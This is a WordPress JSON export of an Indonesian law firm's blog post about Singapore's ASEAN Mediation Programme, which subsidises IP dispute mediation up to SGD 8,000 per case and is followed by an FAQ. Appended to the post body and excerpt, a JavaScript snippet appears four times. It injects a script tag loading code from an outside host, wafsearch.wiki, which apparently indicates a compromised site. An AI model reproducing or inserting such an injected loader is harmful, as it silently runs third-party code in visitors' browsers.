{"id":4200,"date":"2023-07-21T02:00:53","date_gmt":"2023-07-21T02:00:53","guid":{"rendered":"https:\/\/affa.co.id\/?p=4200"},"modified":"2023-07-21T02:00:53","modified_gmt":"2023-07-21T02:00:53","slug":"singapura-hadirkan-program-mediasi-ki-asean-pendanaan-8-000-untuk-mediasi-sengketa-kekayaan-intelektual","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2023\/07\/21\/singapura-hadirkan-program-mediasi-ki-asean-pendanaan-8-000-untuk-mediasi-sengketa-kekayaan-intelektual\/","title":{"rendered":"Singapura Hadirkan Program Mediasi KI ASEAN:  Pendanaan $8.000 untuk Mediasi Sengketa Kekayaan Intelektual"},"content":{"rendered":"<p><span style=\"font-weight: 500\">Organisasi Kekayaan Intelektual Dunia<\/span><b> (WIPO)<\/b><span style=\"font-weight: 500\"> dengan Kantor Kekayaan Intelektual Singapura menghadirkan program mediasi inovatif yang disebut <\/span><b><i>ASEAN Mediation Programme <\/i><\/b><b>(AMP)<\/b><span style=\"font-weight: 500\">, yang diharapkan dapat membawa manfaat besar bagi perusahaan-perusahaan dalam Perhimpunan Bangsa Bangsa Asia Tenggara (ASEAN). Program ini bertujuan membantu perusahaan dalam menyelesaikan sengketa Kekayaan Intelektual (KI) dan teknologi melalui mediasi bersubsidi. Dengan adanya subsidi ini, AMP menawarkan alternatif bagi pebisnis yang mencari metode penyelesaian yang efisien dan hemat biaya.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Mediasi Bersubsidi untuk Sengketa KI dan Teknologi<\/b><\/h4>\n<p><span style=\"font-weight: 500\">AMP adalah platform khusus untuk pihak atau entitas yang terlibat dalam sengketa KI atau teknologi di kawasan ASEAN. Pebisnis dapat mengakses layanan mediasi bersubsidi dengan berpartisipasi dalam program ini, memungkinkan Anda menyelesaikan perselisihan secara efektif dan damai. Dengan AMP, setiap kasus mediasi berpeluang mendapatkan pendanaan hingga SGD 8.000, dibagi rata antar para pihak yang bersengketa, kecuali disepakati lain. Ketentuan ini dapat secara signifikan mengurangi beban keuangan pebisnis yang mencari solusi, serta mendorong mediasi sebagai metode yang lebih disukai untuk menyelesaikan sengketa.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Menambah Skema Mediasi yang Sudah Ada<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Sebelum AMP, Singapura telah memiliki beberapa skema mediasi lain untuk mendukung para pebisnis dalam menyelesaikan sengketa. Salah satunya adalah \u201cSkema Promosi Mediasi yang Ditingkatkan &amp; Direvisi\u201d <\/span><b><i>(Revised Enhanced Mediation Promotion Scheme)<\/i><\/b><span style=\"font-weight: 500\">, yang merupakan peningkatan dari \u201cSkema Promosi Mediasi yang Ditingkatkan\u201d <\/span><b><i>(Enhanced Mediation Promotion Scheme)<\/i><\/b><span style=\"font-weight: 500\">. Dengan hadirnya AMP, Singapura berusaha menambah menu opsi mediasinya, memastikan para pebisnis memiliki beberapa pilihan komprehensif sesuai dengan kebutuhan mereka. Beragam program mediasi ini memperkuat komitmen Singapura dalam menyediakan mekanisme penyelesaian sengketa yang efisien, mudah diakses, dan terjangkau bagi para pebisnis ASEAN.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-4207 size-full\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/07\/affa.co_.id-persyaratan-AMP.jpg\" alt=\"affa-persyaratan-AMP\" width=\"1280\" height=\"720\" srcset=\"https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/07\/affa.co_.id-persyaratan-AMP.jpg 1280w, https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/07\/affa.co_.id-persyaratan-AMP-300x169.jpg 300w, https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/07\/affa.co_.id-persyaratan-AMP-1024x576.jpg 1024w, https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/07\/affa.co_.id-persyaratan-AMP-768x432.jpg 768w\" sizes=\"(max-width: 1280px) 100vw, 1280px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><b>FAQ (Pertanyaan yang Sering Diajukan)<\/b><b><\/b><\/p>\n<ol>\n<li style=\"font-weight: 500\"><b>Proses dan Batas Waktu Pengajuan<\/b><b><br \/>\n<\/b><span style=\"font-weight: 500\">Untuk memanfaatkan program AMP, pebisnis harus menghubungi <\/span><b><i>WIPO Center<\/i><\/b><span style=\"font-weight: 500\"> di Singapura saat membuat atau setelah mengajukan permintaan<\/span><i><span style=\"font-weight: 500\"> WIPO Mediation<\/span><\/i><span style=\"font-weight: 500\">. Proses pengajuannya tidak sulit dan dipastikan para pebisnis dapat mengakses pendanaan untuk kasus mediasi mereka. Namun demikian, program uji coba AMP ini akan berakhir pada 31 Desember 2023, atau saat anggaran yang dialokasikan telah digunakan sepenuhnya. Maka dari itu, jika Anda berminat memanfaatkannya, silakan lakukan pengajuan secepatnya selama anggaran masih tersedia.<\/span><\/li>\n<li style=\"font-weight: 500\"><b>Dimana lokasi mediasi dapat dilakukan?<\/b><span style=\"font-weight: 500\"><br \/>\n<\/span><span style=\"font-weight: 500\">Mediasi dapat dilakukan secara online atau tatap muka di mana saja, selama menunjuk mediator yang berbasis di Singapura.<br \/>\n<\/span><\/li>\n<li style=\"font-weight: 500\"><b>Apakah dana hanya dicairkan pada mediasi yang berhasil?<\/b><span style=\"font-weight: 500\"><br \/>\n<\/span><span style=\"font-weight: 500\">Tidak. Apa pun hasil mediasinya, tidak akan mempengaruhi pendanaan. Setiap pihak yang mengikuti mediasi dapat menerima pendanaan.<\/span><\/li>\n<li style=\"font-weight: 500\"><b><b>Bagaimana komposisi pembagian dana mediasi?<br \/>\n<span style=\"font-weight: 500\">Para pihak akan mendapatkan penggantian hingga SGD 8.000 untuk setiap kasus mediasi. Jika yang bersengketa hanya dua pihak, maka masing-masing berpotensi mendapatkan bagian yang sama hingga SGD 4.000, kecuali ada kesepakatan lain. Pendanaan ini terbatas hanya untuk biaya-biaya yang terkait langsung dengan mediasi, sebagaimana yang diatur oleh AMP, dan dibuktikan dengan faktur yang sesuai.<\/span><\/b><\/b><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\"><b>Apakah pendanaan AMP terbatas hanya untuk kasus sengketa?<br \/>\n<\/b><\/span>Tidak. Mediasi yang dimaksud juga termasuk \u201cmediasi kesepakatan\u201d, dimana kehadiran mediator membantu para pihak untuk mencapai kesepakatan. Misalnya, mediasi dalam konteks negosiasi mendapatkan lisensi Paten\/Merek\/Hak Cipta.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><strong>Jika Anda memiliki pertanyaan lebih lanjut mengenai ASEAN Mediation Programme dari Singapura, jangan ragu untuk menghubungi kami melalui <a href=\"mailto:affa@cbn.net.id\">affa@cbn.net.id<\/a>.<\/strong><\/p>\n<p>[dt_divider style=&#8221;thin&#8221; \/]<\/p>\n<p><strong>Sumber:<\/strong><\/p>\n<ul>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/asianbusinessreview.com\/information-technology\/news\/singapores-mediation-programme-will-benefit-asean-firms-tech-disputes\"><span style=\"font-weight: 500\">Asian Business Review<\/span><\/a><\/li>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/www.ipos.gov.sg\/docs\/default-source\/default-document-library\/amp-information-sheet.pdf\"><span style=\"font-weight: 500\">Intellectual Property Office of Singapore<\/span><\/a><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Organisasi Kekayaan Intelektual Dunia (WIPO) dengan Kantor Kekayaan Intelektual Singapura menghadirkan program mediasi inovatif yang disebut ASEAN Mediation Programme (AMP), yang diharapkan dapat membawa manfaat besar bagi perusahaan-perusahaan dalam Perhimpunan Bangsa Bangsa Asia Tenggara (ASEAN). Program ini bertujuan membantu perusahaan dalam menyelesaikan sengketa Kekayaan Intelektual (KI) dan teknologi melalui mediasi bersubsidi. Dengan adanya subsidi ini, AMP menawarkan alternatif bagi pebisnis yang mencari metode penyelesaian yang efisien dan hemat biaya.\u00a0 &nbsp; Mediasi Bersubsidi untuk Sengketa KI dan Teknologi AMP adalah platform khusus untuk pihak atau entitas yang terlibat dalam sengketa KI atau teknologi di kawasan ASEAN. Pebisnis dapat mengakses layanan mediasi bersubsidi dengan berpartisipasi dalam program ini, memungkinkan Anda menyelesaikan perselisihan secara efektif dan damai. Dengan AMP, setiap kasus mediasi berpeluang mendapatkan pendanaan hingga SGD 8.000, dibagi rata antar para pihak yang bersengketa, kecuali disepakati lain. Ketentuan ini dapat secara signifikan mengurangi beban keuangan pebisnis yang mencari solusi, serta mendorong mediasi sebagai metode yang lebih disukai untuk menyelesaikan sengketa. &nbsp; Menambah Skema Mediasi yang Sudah Ada Sebelum AMP, Singapura telah memiliki beberapa skema mediasi lain untuk mendukung para pebisnis dalam menyelesaikan sengketa. Salah satunya adalah \u201cSkema Promosi Mediasi yang Ditingkatkan &amp; Direvisi\u201d (Revised Enhanced Mediation Promotion Scheme), yang merupakan peningkatan dari \u201cSkema Promosi Mediasi yang Ditingkatkan\u201d (Enhanced Mediation Promotion Scheme). Dengan hadirnya AMP, Singapura berusaha menambah menu opsi mediasinya, memastikan para pebisnis memiliki beberapa pilihan komprehensif sesuai dengan kebutuhan mereka. Beragam program mediasi ini memperkuat komitmen Singapura dalam menyediakan mekanisme penyelesaian sengketa yang efisien, mudah diakses, dan terjangkau bagi para pebisnis ASEAN. &nbsp; &nbsp; FAQ (Pertanyaan yang Sering Diajukan) Proses dan Batas Waktu Pengajuan Untuk memanfaatkan program AMP, pebisnis harus menghubungi WIPO Center di Singapura saat membuat atau setelah mengajukan permintaan WIPO Mediation. Proses pengajuannya tidak sulit dan dipastikan para pebisnis dapat mengakses pendanaan untuk kasus mediasi mereka. Namun demikian, program uji coba AMP ini akan berakhir pada 31 Desember 2023, atau saat anggaran yang dialokasikan telah digunakan sepenuhnya. Maka dari itu, jika Anda berminat memanfaatkannya, silakan lakukan pengajuan secepatnya selama anggaran masih tersedia. Dimana lokasi mediasi dapat dilakukan? Mediasi dapat dilakukan secara online atau tatap muka di mana saja, selama menunjuk mediator yang berbasis di Singapura. Apakah dana hanya dicairkan pada mediasi yang berhasil? Tidak. Apa pun hasil mediasinya, tidak akan mempengaruhi pendanaan. Setiap pihak yang mengikuti mediasi dapat menerima pendanaan. Bagaimana komposisi pembagian dana mediasi? Para pihak akan mendapatkan penggantian hingga SGD 8.000 untuk setiap kasus mediasi. Jika yang bersengketa hanya dua pihak, maka masing-masing berpotensi mendapatkan bagian yang sama hingga SGD 4.000, kecuali ada kesepakatan lain. Pendanaan ini terbatas hanya untuk biaya-biaya yang terkait langsung dengan mediasi, sebagaimana yang diatur oleh AMP, dan dibuktikan dengan faktur yang sesuai. Apakah pendanaan AMP terbatas hanya untuk kasus sengketa? Tidak. Mediasi yang dimaksud juga termasuk \u201cmediasi kesepakatan\u201d, dimana kehadiran mediator membantu para pihak untuk mencapai kesepakatan. Misalnya, mediasi dalam konteks negosiasi mendapatkan lisensi Paten\/Merek\/Hak Cipta. &nbsp; Jika Anda memiliki pertanyaan lebih lanjut mengenai ASEAN Mediation Programme dari Singapura, jangan ragu untuk menghubungi kami melalui affa@cbn.net.id. [dt_divider style=&#8221;thin&#8221; \/] Sumber: Asian Business Review Intellectual Property Office of Singapore var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":4201,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,278,279],"tags":[309,310,315,318,298,305,306,307,308],"class_list":["post-4200","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-event","category-trademark","tag-kekayaan-intelektual","tag-ki","tag-merek-indonesia-bisa","tag-trademark","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4200","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4200"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4200\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4201"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4200"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}